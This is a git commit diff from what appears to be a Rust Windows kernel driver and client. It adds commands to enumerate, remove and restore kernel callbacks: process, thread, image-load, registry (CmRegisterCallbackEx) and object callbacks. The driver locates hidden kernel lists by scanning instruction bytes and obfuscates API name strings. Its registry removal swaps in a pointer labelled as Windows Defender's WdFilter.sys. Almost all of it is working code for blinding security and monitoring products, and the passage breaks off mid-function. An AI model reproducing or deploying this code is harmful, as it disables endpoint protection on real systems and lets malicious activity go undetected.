Adding new features in relation to callbacks and refactoring some other parts of the code

This commit is contained in:
João
2024-08-04 17:58:02 -03:00
parent cc722869d1
commit 21491ac268
18 changed files with 1090 additions and 258 deletions

3
client/.gitignore vendored
View File

@@ -1 +1,2 @@
/target
/target
/src/memory.rs

View File

@@ -35,13 +35,24 @@ pub fn enumerate_callback(ioctl_code: u32, callback: &Callbacks) {
for i in callback_info.iter() {
if i.address > 0 {
let name = match String::from_utf16(&i.name) {
Ok(name) => name,
Ok(name) => name.trim_end_matches('\0').to_string(),
Err(err) => {
eprintln!("[!] UTF-16 decoding error: {:?}", err);
continue;
}
eprintln!("[!] UTF-16 decoding error: {:?}", err);
continue;
}
};
println!("[{}] {:?} {}", i.index, i.address as *mut c_void, name);
} else if i.post_operation > 0 || i.pre_operation > 0 {
let name = match String::from_utf16(&i.name) {
Ok(name) => name.trim_end_matches('\0').to_string(),
Err(err) => {
eprintln!("[!] UTF-16 decoding error: {:?}", err);
continue;
}
};
println!("[{}] {}", i.index, name);
println!("\tpre_operation: {:?}", i.pre_operation as *mut c_void);
println!("\tpost_operation: {:?}", i.post_operation as *mut c_void);
}
}
}
@@ -73,8 +84,6 @@ pub fn remove_callback(index: usize, ioctl_code: u32, callback: &Callbacks) {
if status == 0 {
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
} else {
println!("[+] Remove Callback: {index}");
}
unsafe {
@@ -104,8 +113,6 @@ pub fn restore_callback(index: usize, ioctl_code: u32, callback: &Callbacks) {
if status == 0 {
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
} else {
println!("[+] Restore Callback: {index}");
}
unsafe {

View File

@@ -92,15 +92,19 @@ pub enum Commands {
/// Operations related to Callback.
Callback {
/// Enumerate callback.
#[arg(long)]
#[arg(long, short)]
list: bool,
/// Enumerate Removed callback.
#[arg(long, short)]
enumerate: bool,
/// Remove callback.
#[arg(long)]
remove: Option<usize>,
/// Select callback.
#[arg(long, required = true)]
#[arg(long, short, required = true)]
callback: Callbacks,
// Restore callback.
@@ -279,7 +283,13 @@ pub enum Callbacks {
/// Callback for PsSetCreateThreadNotifyRoutine.
Thread,
/// Callback for PsSetLoadImageNotifyRoutine.
LoadImage
LoadImage,
/// Callback for CmRegisterCallbackEx
Registry,
/// Callback for ObProcess
ObProcess,
/// Callback for ObThread
ObThread,
}
impl Callbacks {
@@ -288,6 +298,9 @@ impl Callbacks {
Callbacks::Process => shared::vars::Callbacks::PsSetCreateProcessNotifyRoutine,
Callbacks::Thread => shared::vars::Callbacks::PsSetCreateThreadNotifyRoutine,
Callbacks::LoadImage => shared::vars::Callbacks::PsSetLoadImageNotifyRoutine,
Callbacks::Registry => shared::vars::Callbacks::CmRegisterCallbackEx,
Callbacks::ObProcess => shared::vars::Callbacks::ObProcess,
Callbacks::ObThread => shared::vars::Callbacks::ObThread,
}
}
}

View File

@@ -173,12 +173,18 @@ fn main() {
Commands::Module { pid } => {
enumerate_module(IOCTL_ENUMERATE_MODULE, pid);
}
Commands::Callback { list, remove, restore, callback } => {
Commands::Callback { list, enumerate ,remove, restore, callback } => {
if *list {
println!("[+] Enumerate Callback");
enumerate_callback(IOCTL_ENUMERATE_CALLBACK, callback);
return;
}
if *enumerate {
println!("[+] Enumerate Removed Callback");
enumerate_callback(IOCTL_ENUMERATE_REMOVED_CALLBACK, callback);
return;
}
match (remove, restore) {
(Some(index), None) => {

3
driver/.gitignore vendored
View File

@@ -1,2 +1,3 @@
/target
/src/backup
/src/backup
/src/memory

View File

@@ -1,7 +1,8 @@
use shared::vars::Callbacks;
use crate::utils;
use wdk_sys::ntddk::MmGetSystemRoutineAddress;
use crate::{includes::structs::FULL_OBJECT_TYPE, utils};
use wdk_sys::{ntddk::MmGetSystemRoutineAddress, PsProcessType, PsThreadType};
use obfstr::obfstr;
use core::ptr::null_mut;
/// Finds the address of the `PsSetCreateProcessNotifyRoutine` routine.
///
@@ -17,36 +18,36 @@ unsafe fn find_ps_create_process() -> Option<*mut u8> {
// e8b6010000 call nt!PspSetCreateProcessNotifyRoutine (fffff802`517a64a8)
let instructions = [0xE8];
if let Some(y) = function_bytes.windows(instructions.len()).position(|x| *x == instructions) {
if let Some(y) = function_bytes.windows(instructions.len()).position(|x| x == instructions) {
let position = y + 1;
let new_offset = function_bytes[position..position + 4]
let offset = function_bytes[position..position + 4]
.try_into()
.map(u32::from_le_bytes)
.map(i32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
// e8b6010000 call nt!PspSetCreateProcessNotifyRoutine (fffff802`517a64a8)
let call_address = function_address.cast::<u8>().offset(y as isize);
// 4883c428 add rsp,28h
let next_address = call_address.cast::<u8>().offset(5);
let psp_set_create_process = next_address.offset(new_offset as isize);
let psp_set_create_process = next_address.offset(offset as isize);
let function_bytes = core::slice::from_raw_parts(psp_set_create_process, 0x98);
// 4c8d2d4f605500 lea r13,[nt!PspCreateProcessNotifyRoutine (fffff802`51cfc560)]
let instructions = [0x4C, 0x8D, 0x2D];
if let Some(x) = function_bytes.windows(instructions.len()).position(|y| *y == instructions) {
if let Some(x) = function_bytes.windows(instructions.len()).position(|y| y == instructions) {
let position = x + 3;
let new_offset = function_bytes[position..position + 4]
let offset = function_bytes[position..position + 4]
.try_into()
.map(u32::from_le_bytes)
.map(i32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
// 4c8d2d4f605500 lea r13,[nt!PspCreateProcessNotifyRoutine (fffff802`51cfc560)]
let lea_address = psp_set_create_process.cast::<u8>().offset(x as isize);
// 488d0cdd00000000 lea rcx,[rbx*8]
let next_address = lea_address.offset(7);
let psp_set_create_process = next_address.offset(new_offset as isize);
let psp_set_create_process = next_address.offset(offset as isize);
return Some(psp_set_create_process)
}
@@ -69,18 +70,18 @@ unsafe fn find_ps_create_thread() -> Option<*mut u8> {
// 488d0d57d73d00 lea rcx,[nt!PspCreateThreadNotifyRoutine (fffff805`7b4ee160)]
let instructions = [0x48, 0x8D, 0x0D];
if let Some(x) = function_bytes.windows(instructions.len()).position(|x| *x == instructions) {
if let Some(x) = function_bytes.windows(instructions.len()).position(|x| x == instructions) {
let position = x + 3;
let new_offset = function_bytes[position..position + 4]
let offset = function_bytes[position..position + 4]
.try_into()
.map(u32::from_le_bytes)
.map(i32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
// 488d0d57d73d00 lea rcx,[nt!PspCreateThreadNotifyRoutine (fffff805`7b4ee160)]
let lea_address = function_address.cast::<u8>().offset(x as isize);
// 488d2cf9 lea rbp,[rcx+rdi*8]
let next_address = lea_address.offset(7);
let psp_set_create_thread = next_address.offset(new_offset as isize);
let psp_set_create_thread = next_address.offset(offset as isize);
return Some(psp_set_create_thread);
}
@@ -102,19 +103,18 @@ unsafe fn find_ps_load_image() -> Option<*mut u8> {
// 488d0d67d83d00 lea rcx,[nt!PspLoadImageNotifyRoutine (fffff806`0f0fe360)]
let instructions = [0x48, 0x8D, 0x0D];
if let Some(x) = function_bytes.windows(instructions.len()).position(|x| *x == instructions) {
if let Some(x) = function_bytes.windows(instructions.len()).position(|x| x == instructions) {
let position = x + 3;
let offset = &function_bytes[position..position + 4];
let new_offset = function_bytes[position..position + 4]
let offset = function_bytes[position..position + 4]
.try_into()
.map(u32::from_le_bytes)
.map(i32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
// 488d0d67d83d00 lea rcx,[nt!PspLoadImageNotifyRoutine (fffff806`0f0fe360)]
let lea_address = function_address.cast::<u8>().offset(x as isize);
// 488d2cf9 lea rbp,[rcx+rdi*8]
let next_address = lea_address.offset(7);
let psp_load_image = next_address.offset(new_offset as isize);
let psp_load_image = next_address.offset(offset as isize);
return Some(psp_load_image);
}
@@ -122,7 +122,129 @@ unsafe fn find_ps_load_image() -> Option<*mut u8> {
None
}
/// Finds the type of the callback and calls the function responsible for it
/// Finds the address of the `CmRegisterCallbackEx` routine.
///
/// # Returns
/// - `Option<*mut u8>`: Some pointer to the address if found, None otherwise.
///
unsafe fn find_cm_register_callback() -> Option<(*mut u8, *mut u8, *mut u8)>{
let mut name = utils::uni::str_to_unicode(obfstr!("CmRegisterCallbackEx")).to_unicode();
let function_address = MmGetSystemRoutineAddress(&mut name);
let mut callback_list_header = null_mut();
let mut callback_count = null_mut();
let mut callback_list_lock = null_mut();
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x50);
// e8c961e7ff call nt!CmpRegisterCallbackInternal (fffff800`286e2b08)
let register_internal_pattern = [0xE8];
if let Some(x) = function_bytes.windows(register_internal_pattern.len()).position(|y| y == register_internal_pattern) {
let position = x + 1;
let offset = function_bytes[position..position + 4]
.try_into()
.map(i32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
// e8c961e7ff call nt!CmpRegisterCallbackInternal (fffff803`210e2b08)
let call_address = function_address.cast::<u8>().offset(x as isize);
// 4883c438 add rsp,38h
let next_address = call_address.offset(5);
let register_callback_internal = next_address.offset(offset as isize);
let function_bytes = core::slice::from_raw_parts(register_callback_internal, 0x108);
// 488bcb mov rcx,rbx
// e83d000000 call nt!CmpInsertCallbackInListByAltitude (fffff800`286e2c0c)
let insert_pattern = [0x8B, 0xCB, 0xE8];
if let Some(x) = function_bytes.windows(insert_pattern.len()).position(|y| y == insert_pattern) {
let position = x + 3;
let offset = function_bytes[position..position + 4]
.try_into()
.map(i32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
// e83d000000 call nt!CmpInsertCallbackInListByAltitude (fffff800`286e2c0c)
let call_insert_address = register_callback_internal.cast::<u8>().offset((x + 2) as isize);
// 488b4c2458 mov rcx,qword ptr [rsp+58h]
let next_address = call_insert_address.offset(5);
let insert_call_address = next_address.offset(offset as isize);
let function_bytes = core::slice::from_raw_parts(insert_call_address, 0x200);
// 488d0d7b585600 lea rcx,[nt!CmpCallbackListLock (fffff803`216484c0)]
let cmp_callback_list_lock_pattern = [0x48, 0x8D, 0x0D];
// 4c8d3d78585600 lea r15,[nt!CallbackListHead (fffff803`216484d0)]
let callback_list_head_pattern = [0x4C, 0x8D, 0x3D];
// f0ff05fddd5600 lock inc dword ptr [nt!CmpCallBackCount (fffff803`21650abc)]
let cmp_callback_count_pattern = [0xF0, 0xFF, 0x05];
if let Some(x) = function_bytes.windows(cmp_callback_list_lock_pattern.len()).position(|y| y == cmp_callback_list_lock_pattern) {
let position = x + 3;
let offset = function_bytes[position..position + 4]
.try_into()
.map(i32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
let lea_address = insert_call_address.cast::<u8>().offset(x as isize);
let next_address = lea_address.offset(7);
callback_list_lock = next_address.offset(offset as isize);
};
if let Some(x) = function_bytes.windows(callback_list_head_pattern.len()).position(|y| y == callback_list_head_pattern) {
let position = x + 3;
let offset = function_bytes[position..position + 4]
.try_into()
.map(i32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
let lea_address = insert_call_address.cast::<u8>().offset(x as isize);
let next_address = lea_address.offset(7);
callback_list_header = next_address.offset(offset as isize);
};
if let Some(x) = function_bytes.windows(cmp_callback_count_pattern.len()).position(|y| y == cmp_callback_count_pattern) {
let position = x + 3;
let offset = function_bytes[position..position + 4]
.try_into()
.map(i32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
let lea_address = insert_call_address.cast::<u8>().offset(x as isize);
let next_address = lea_address.offset(7);
callback_count = next_address.offset(offset as isize);
};
}
if !callback_list_header.is_null() && !callback_count.is_null() && !callback_list_lock.is_null() {
return Some((callback_list_header, callback_count, callback_list_lock));
}
}
None
}
/// Finds the address of the `ObRegisterCallbacks` routine.
///
/// # Returns
/// - `Option<*mut FULL_OBJECT_TYPE>`: Some pointer to the address if found, None otherwise.
///
pub fn find_ob_register_callback(callback: &Callbacks) -> Option<*mut FULL_OBJECT_TYPE> {
match callback {
Callbacks::ObProcess => {
let object_type = unsafe { (*PsProcessType) as *mut FULL_OBJECT_TYPE };
Some(object_type)
},
Callbacks::ObThread => {
let object_type = unsafe { (*PsThreadType) as *mut FULL_OBJECT_TYPE };
Some(object_type)
},
_ => return None
}
}
/// Finds the type of the callback and calls the function responsible for it.
///
/// # Parameters
/// - `callback`: target callback that will be called.
@@ -130,10 +252,20 @@ unsafe fn find_ps_load_image() -> Option<*mut u8> {
/// # Returns
/// - `Option<*mut u8>`: Some pointer to the address if found, None otherwise.
///
pub unsafe fn find_callback_address(callback: &Callbacks) -> Option<*mut u8> {
pub unsafe fn find_callback_address(callback: &Callbacks) -> Option<CallbackResult> {
match callback {
Callbacks::PsSetCreateProcessNotifyRoutine => find_ps_create_process(),
Callbacks::PsSetCreateThreadNotifyRoutine => find_ps_create_thread(),
Callbacks::PsSetLoadImageNotifyRoutine => find_ps_load_image(),
Callbacks::PsSetCreateProcessNotifyRoutine => find_ps_create_process().map(CallbackResult::PsCreate),
Callbacks::PsSetCreateThreadNotifyRoutine => find_ps_create_thread().map(CallbackResult::PsCreate),
Callbacks::PsSetLoadImageNotifyRoutine => find_ps_load_image().map(CallbackResult::PsCreate),
Callbacks::CmRegisterCallbackEx => find_cm_register_callback().map(CallbackResult::Registry),
Callbacks::ObProcess => find_ob_register_callback(callback).map(CallbackResult::ObRegister),
Callbacks::ObThread => find_ob_register_callback(callback).map(CallbackResult::ObRegister),
}
}
/// Enum containing return types for each callback.
pub enum CallbackResult {
PsCreate(*mut u8),
Registry((*mut u8, *mut u8, *mut u8)),
ObRegister(*mut FULL_OBJECT_TYPE)
}

View File

@@ -1,23 +1,33 @@
use {
obfstr::obfstr,
crate::{
includes::structs::{CallbackRestaure, CallbackRestaureOb, CM_CALLBACK, OBCALLBACK_ENTRY},
utils::return_module
},
alloc::vec::Vec,
crate::utils::uni,
find_callback::find_callback_address,
spin::{Mutex, lazy::Lazy},
core::mem::size_of,
find_callback::{find_callback_address, CallbackResult},
ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
shared::structs::{CallbackInfoInput, CallbackInfoOutput, CallbackRestaure},
wdk_sys::{ntddk::MmGetSystemRoutineAddress, NTSTATUS, STATUS_SUCCESS, STATUS_UNSUCCESSFUL}
shared::structs::{CallbackInfoInput, CallbackInfoOutput},
spin::{lazy::Lazy, Mutex},
wdk_sys::{
ntddk::{ExAcquirePushLockExclusiveEx, ExReleasePushLockExclusiveEx},
NTSTATUS, STATUS_SUCCESS, STATUS_UNSUCCESSFUL
}
};
mod find_callback;
/// Variable that stores callbacks that have been removed
/// Variable that stores callbacks that have been removed.
static mut INFO_CALLBACK_RESTAURE: Lazy<Mutex<Vec<CallbackRestaure>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(40)));
/// Structure representing the Callback.
pub struct Callback;
/// Variable that stores callbacks registry that have been removed.
static mut INFO_CALLBACK_RESTAURE_REGISTRY: Lazy<Mutex<Vec<CallbackRestaure>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(40)));
impl Callback {
/// Variable that stores callbacks Ob that have been removed.
static mut INFO_CALLBACK_RESTAURE_OB: Lazy<Mutex<Vec<CallbackRestaureOb>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(40)));
/// Trait defining common operations for callback lists.
pub trait CallbackList {
/// Restore a callback from the specified routine.
///
/// # Parameters
@@ -26,27 +36,7 @@ impl Callback {
/// # Returns
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
///
pub unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
let mut callback_info = INFO_CALLBACK_RESTAURE.lock();
let callback_type = (*target_callback).callback;
let index = (*target_callback).index;
if let Some(index) = callback_info.iter().position(|c| c.callback == callback_type && c.index == index) {
let address = match find_callback_address(&(*target_callback).callback) {
Some(addr) => addr,
None => return STATUS_UNSUCCESSFUL,
};
let addr = address.offset((callback_info[index].index * 8) as isize);
*(addr as *mut u64) = callback_info[index].address;
callback_info.remove(index);
} else {
log::error!("Callback not found for type {:?} at index {}", callback_type, index);
return STATUS_UNSUCCESSFUL;
}
STATUS_SUCCESS
}
unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS;
/// Removes a callback from the specified routine.
///
@@ -56,19 +46,73 @@ impl Callback {
/// # Returns
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
///
pub unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS;
/// Searches for a module associated with a callback and updates callback information.
///
/// # Parameters
/// - `target_callback`: Pointer to the callback information input.
/// - `callback_info`: Pointer to the callback information output.
/// - `information`: Pointer to a variable to store information size.
///
/// # Returns
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
///
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS;
/// List of callbacks currently removed.
///
/// # Parameters
/// - `target_callback`: Pointer to the callback information input.
/// - `callback_info`: Pointer to the callback information output.
/// - `information`: Pointer to a variable to store information size.
///
/// # Returns
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
///
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS;
}
/// Structure representing the Callback.
pub struct Callback;
/// Implement a feature for the callback PsSetCreateProcessNotifyRoutine / PsSetCreateThreadNotifyRoutine / PsSetLoadImageNotifyRoutine.
impl CallbackList for Callback {
unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
let mut callback_info = INFO_CALLBACK_RESTAURE.lock();
let callback_type = (*target_callback).callback;
let index = (*target_callback).index;
if let Some(index) = callback_info.iter().position(|c| c.callback == callback_type && c.index == index) {
let address = match find_callback_address(&(*target_callback).callback) {
Some(CallbackResult::PsCreate(addr)) => addr,
_ => return STATUS_UNSUCCESSFUL,
};
let addr = address.offset((callback_info[index].index * 8) as isize);
*(addr as *mut u64) = callback_info[index].address;
callback_info.remove(index);
} else {
log::error!("Callback not found for type {:?} at index {}", callback_type, index);
return STATUS_UNSUCCESSFUL;
}
STATUS_SUCCESS
}
unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
let address = match find_callback_address(&(*target_callback).callback) {
Some(addr) => addr,
None => return STATUS_UNSUCCESSFUL,
Some(CallbackResult::PsCreate(addr)) => addr,
_ => return STATUS_UNSUCCESSFUL,
};
let index = (*target_callback).index as isize;
let addr = address.offset(index * 8);
let callback_restaure = CallbackRestaure {
index: (*target_callback).index,
callback: (*target_callback).callback,
address: *(addr as *mut u64)
address: *(addr as *mut u64),
..Default::default()
};
let mut callback_info = INFO_CALLBACK_RESTAURE.lock();
@@ -81,42 +125,18 @@ impl Callback {
STATUS_SUCCESS
}
/// Searches for a module associated with a callback and updates callback information.
///
/// # Parameters
/// - `target_callback`: Pointer to the callback information input.
/// - `callback_info`: Pointer to the callback information output.
/// - `information`: Pointer to a variable to store information size.
///
/// # Returns
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
///
pub unsafe fn search_module(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS {
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS {
let address = match find_callback_address(&(*target_callback).callback) {
Some(addr) => addr,
None => return STATUS_UNSUCCESSFUL,
Some(CallbackResult::PsCreate(addr)) => addr,
_ => return STATUS_UNSUCCESSFUL,
};
let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList"));
let func = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY;
let (mut ldr_data, module_count) = match return_module() {
Some(result) => result,
None => return STATUS_UNSUCCESSFUL
};
if func.is_null() {
log::error!("PsLoadedModuleList is null");
return STATUS_UNSUCCESSFUL;
}
let mut list_entry = (*func).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
let mut module_count = 0;
let start_entry = list_entry;
while !list_entry.is_null() && list_entry != func {
module_count += 1;
list_entry = (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
}
log::info!("Number of loaded modules: {}", module_count);
list_entry = start_entry;
let start_entry = ldr_data;
for i in 0..64 {
let addr = address.cast::<u8>().offset(i * 8);
@@ -128,40 +148,518 @@ impl Callback {
// Iterate over the loaded modules
for _ in 0..module_count {
let buffer = core::slice::from_raw_parts(
(*list_entry).BaseDllName.Buffer,
((*list_entry).BaseDllName.Length / 2) as usize,
);
let start_address = (*list_entry).DllBase;
let image_size = (*list_entry).SizeOfImage;
let start_address = (*ldr_data).DllBase;
let image_size = (*ldr_data).SizeOfImage;
let end_address = start_address as u64 + image_size as u64;
let raw_pointer = *((callback & 0xfffffffffffffff8) as *const u64);
if raw_pointer > start_address as u64 && raw_pointer < end_address {
let buffer = core::slice::from_raw_parts(
(*ldr_data).BaseDllName.Buffer,
((*ldr_data).BaseDllName.Length / 2) as usize,
);
// Module name
let name = &mut (*callback_info.offset(i)).name[..buffer.len()];
core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
// Module address
(*callback_info.offset(i)).address = callback as usize;
(*callback_info.offset(i)).address = raw_pointer as usize;
// Module index
(*callback_info.offset(i)).index = i as u8;
*information += core::mem::size_of::<CallbackInfoOutput>();
*information += size_of::<CallbackInfoOutput>();
break;
}
// Go to the next module in the list
list_entry = (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
}
// Reset list_entry for next callback
list_entry = start_entry;
// Reset ldr_data for next callback
ldr_data = start_entry;
}
STATUS_SUCCESS
}
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS {
let callback_restaure = INFO_CALLBACK_RESTAURE.lock();
let (mut ldr_data, module_count) = match return_module() {
Some(result) => result,
None => return STATUS_UNSUCCESSFUL
};
let start_entry = ldr_data;
for (i, callback) in callback_restaure.iter().enumerate() {
for _ in 0..module_count {
let start_address = (*ldr_data).DllBase;
let image_size = (*ldr_data).SizeOfImage;
let end_address = start_address as u64 + image_size as u64;
let raw_pointer = *((callback.address & 0xfffffffffffffff8) as *const u64);
if raw_pointer > start_address as u64 && raw_pointer < end_address {
let buffer = core::slice::from_raw_parts(
(*ldr_data).BaseDllName.Buffer,
((*ldr_data).BaseDllName.Length / 2) as usize,
);
// Module name
let name = &mut (*callback_info.offset(i as isize)).name[..buffer.len()];
core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
// Module address
(*callback_info.offset(i as isize)).address = raw_pointer as usize;
// Module index
(*callback_info.offset(i as isize)).index = callback.index as u8;
*information += size_of::<CallbackInfoOutput>();
break;
}
// Go to the next module in the list
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
}
// Reset ldr_data for next callback
ldr_data = start_entry;
}
STATUS_SUCCESS
}
}
/// Structure representing the Callback Registry.
pub struct CallbackRegistry;
/// Implement a feature for the callback CmRegisterCallbackEx.
impl CallbackList for CallbackRegistry {
unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
let mut callback_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
let callback_type = (*target_callback).callback;
let index = (*target_callback).index;
if let Some(x) = callback_info.iter().position(|c| c.callback == callback_type && c.index == index) {
let (callback_list_header, callback_count, callback_list_lock) = match find_callback_address(&(*target_callback).callback) {
Some(CallbackResult::Registry(addr)) => addr,
_ => return STATUS_UNSUCCESSFUL,
};
ExAcquirePushLockExclusiveEx(callback_list_lock as _, 0);
let count = *(callback_count as *mut u32) + 1;
let mut pcm_callback = callback_list_header as *mut CM_CALLBACK;
for i in 0..count {
if pcm_callback.is_null() {
break;
}
if i == index as u32 {
(*pcm_callback).function = callback_info[x].address;
callback_info.remove(x);
ExReleasePushLockExclusiveEx(callback_list_lock as _, 0);
return STATUS_SUCCESS;
}
pcm_callback = (*pcm_callback).list.Flink as *mut CM_CALLBACK;
}
ExReleasePushLockExclusiveEx(callback_list_lock as _, 0);
} else {
log::error!("Callback not found for type {:?} at index {}", callback_type, index);
return STATUS_UNSUCCESSFUL;
}
STATUS_SUCCESS
}
unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
let (callback_list_header, callback_count, callback_list_lock) = match find_callback_address(&(*target_callback).callback) {
Some(CallbackResult::Registry(addr)) => addr,
_ => return STATUS_UNSUCCESSFUL,
};
ExAcquirePushLockExclusiveEx(callback_list_lock as _, 0);
let index = (*target_callback).index as isize;
let count = *(callback_count as *mut u32) + 1;
let mut pcm_callback = callback_list_header as *mut CM_CALLBACK;
let mut callback_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
let mut prev_addr = 0;
for i in 0..count {
if i == 1 {
prev_addr = (*pcm_callback).function as u64; // WdFilter.sys
}
if pcm_callback.is_null() {
break;
}
if i == index as u32 {
let addr = (*pcm_callback).function as u64;
let callback_restaure = CallbackRestaure {
index: (*target_callback).index,
callback: (*target_callback).callback,
address: addr,
..Default::default()
};
(*pcm_callback).function = prev_addr;
callback_info.push(callback_restaure);
log::info!("Callback removed at index {}", index);
ExReleasePushLockExclusiveEx(callback_list_lock as _, 0);
return STATUS_SUCCESS;
}
pcm_callback = (*pcm_callback).list.Flink as *mut CM_CALLBACK;
}
ExReleasePushLockExclusiveEx(callback_list_lock as _, 0);
STATUS_UNSUCCESSFUL
}
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS {
let (callback_list_header, callback_count, callback_list_lock) = match find_callback_address(&(*target_callback).callback) {
Some(CallbackResult::Registry(addr)) => addr,
_ => return STATUS_UNSUCCESSFUL,
};
let count = *(callback_count as *mut u32) + 1;
let mut pcm_callback = callback_list_header as *mut CM_CALLBACK;
let (mut ldr_data, module_count) = match return_module() {
Some(result) => result,
None => return STATUS_UNSUCCESSFUL
};
let start_entry = ldr_data;
ExAcquirePushLockExclusiveEx(callback_list_lock as _, 0);
for i in 0..count as isize {
if pcm_callback.is_null() {
break;
}
// Iterate over the loaded modules
for _ in 0..module_count {
let start_address = (*ldr_data).DllBase;
let image_size = (*ldr_data).SizeOfImage;
let end_address = start_address as u64 + image_size as u64;
let addr = (*pcm_callback).function as u64;
if addr > start_address as u64 && addr < end_address {
let buffer = core::slice::from_raw_parts(
(*ldr_data).BaseDllName.Buffer,
((*ldr_data).BaseDllName.Length / 2) as usize,
);
// Module name
let name = &mut (*callback_info.offset(i)).name[..buffer.len()];
core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
// Module address
(*callback_info.offset(i)).address = addr as usize;
// Module index
(*callback_info.offset(i)).index = i as u8;
*information += size_of::<CallbackInfoOutput>();
break;
}
// Go to the next module in the list
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
}
// Reset ldr_data for next callback
ldr_data = start_entry;
pcm_callback = (*pcm_callback).list.Flink as *mut CM_CALLBACK;
}
ExReleasePushLockExclusiveEx(callback_list_lock as _, 0);
STATUS_SUCCESS
}
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS {
let callback_restaure = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
let (mut ldr_data, module_count) = match return_module() {
Some(result) => result,
None => return STATUS_UNSUCCESSFUL
};
let start_entry = ldr_data;
for (i, callback) in callback_restaure.iter().enumerate() {
for _ in 0..module_count {
let start_address = (*ldr_data).DllBase;
let image_size = (*ldr_data).SizeOfImage;
let end_address = start_address as u64 + image_size as u64;
if callback.address > start_address as u64 && callback.address < end_address {
let buffer = core::slice::from_raw_parts(
(*ldr_data).BaseDllName.Buffer,
((*ldr_data).BaseDllName.Length / 2) as usize,
);
// Module name
let name = &mut (*callback_info.offset(i as isize)).name[..buffer.len()];
core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
// Module address
(*callback_info.offset(i as isize)).address = callback.address as usize;
// Module index
(*callback_info.offset(i as isize)).index = callback.index as u8;
*information += size_of::<CallbackInfoOutput>();
break;
}
// Go to the next module in the list
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
}
// Reset ldr_data for next callback
ldr_data = start_entry;
}
STATUS_SUCCESS
}
}
/// Structure representing the Callback Object.
pub struct CallbackOb;
/// Implement a feature for the callback ObRegisterCallbacks (PsProcessType / PsThreadType).
impl CallbackList for CallbackOb {
unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
let mut callback_info = INFO_CALLBACK_RESTAURE_OB.lock();
let callback_type = (*target_callback).callback;
let index = (*target_callback).index;
if let Some(index) = callback_info.iter().position(|c| c.callback == callback_type && c.index == index) {
let object_type = match find_callback_address(&(*target_callback).callback) {
Some(CallbackResult::ObRegister(addr)) => addr,
_ => return STATUS_UNSUCCESSFUL,
};
let lock = &(*object_type).type_lock as *const _ as *mut u64;
ExAcquirePushLockExclusiveEx(lock, 0);
